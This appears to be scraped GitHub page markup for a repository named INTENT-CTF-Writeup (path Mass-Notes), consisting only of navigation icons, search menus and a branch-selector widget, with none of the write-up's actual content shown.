d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noflowpls </span> <span>/</span> INTENT-CTF-Writeup <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noflowpls/INTENT-CTF-Writeup/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":428674070,"originating_url":"https://github.com/noflowpls/INTENT-CTF-Writeup/tree/main/Mass-Notes","user_id":null}}" data-hydro-click-hmac="0aad2b1d79b44c83745b43bfb50084d535ddf07b298e05dcf44d525551844458"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noflowpls/INTENT-CTF-Writeup/refs" cache-key="v0:1637071061.840467" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bm9mbG93cGxzL0lOVEVOVC1DVEYtV3JpdGV1cA==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noflowpls/INTENT-CTF-Writeup/refs" cache-key="v0:1637071061.840467" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="bm9mbG93cGxzL0lOVEVOVC1DVEYtV3JpdGV1cA==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" 